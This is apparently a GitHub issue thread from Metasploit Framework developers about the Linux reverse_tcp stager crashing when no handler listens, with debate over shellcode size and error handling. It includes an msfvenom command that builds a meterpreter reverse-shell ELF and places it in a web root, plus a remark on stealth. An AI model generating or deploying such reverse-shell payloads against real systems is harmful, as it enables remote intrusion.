Metasploit-framework: Linux reverse_tcp stager segfaults when it can't connect

[FireFart]

If running a meterpreter with no handler on the other side it segfaults. I think this error should be handled.

To reproduce (tried on kali):

msfvenom -p linux/x86/meterpreter/reverse_tcp -f elf -o /var/www/html/meterpreter LPORT=4444 LHOST=192.168.56.3
chmod +x /var/www/html/meterpreter
/var/www/html/meterpreter
Segmentation fault

Version:

root@kali:~# msfconsole --version
Framework Version: 4.13.6-dev
msf > version
Framework: 4.13.6-dev
Console  : 4.13.6-dev

[OJ]

That's been a known issue for aaaages.

I vote that this gets fixed by _not me_.

I also think POSIX Meterpreter will go away soon.

[bcook-r7]

Not an issue with meterpreter, that's the Linux reverse_tcp stager not checking if it connected and receive anything before jumping into an empty buffer. Same thing happens with a staged shell.

[FireFart]

Alright thanks :) Just wanted to report it in case no one has seen it before

[wvu-r7]

Everyone has seen it. ;)

Real answer: to handle the error would add size to the shellcode. It can be done, but there are other syscalls that might fail, too. Best to have your handler set up first. :-)

[FireFart]

@wvu-r7 except me because I always have a listener ready :D

[egypt]

Put your hand up if you got mad skills. :hand: Keep it up if you got mad kills. Make fist if your handler's always ready. :fist: Shout it out. What you roll? Natural twenties!

[egypt]

In other news, I'm disappointed that there is no d20 emoji

[busterb]

how much space would folks be willing to let the linux stager grow to support proper error handling? Segfaults do show up logs typically, so it can be worth it for stealth reasons. Windows reverse_tcp is a lot bigger so it could be a good tradeoff.

[egypt]

@busterb it's really up to the exploits. Reliable mem corruption on Linux doesn't come up much these days, but older exploits have some pretty severe size restrictions.

For example:

modules/exploits/linux/smtp/exim_gethostbyname_bof.rb:        'Space' => 255, # the shorter the payload, the higher the probability of code execution

[egypt]

I modified ./tools/modules/module_targets.rb to print Space as well and with a little command line magic, came up with these counts:

      1 130
      1 200
      4 220
      1 250
      1 256
      1 300
      1 466
      1 500
      3 512
      1 964
      3 1000
     23 1024
      1 1036
      1 1536
      9 2048
      1 2060
      2 4000
      2 4096
      1 5000
      1 8000
      2 8192
      5 10000
     16 20480
      1 60000
      2 65535

[egypt]

Current reverse_tcp stager is 71 bytes and the smallest needed for an exploit is 130, so i feel like a little error handling should fit.

[busterb]

8503 addresses x86. We should probably also look at doing the same for x64 since it's a lot more common, and maybe arm / mips too.

[tkmru]

I think this issue has been resolved.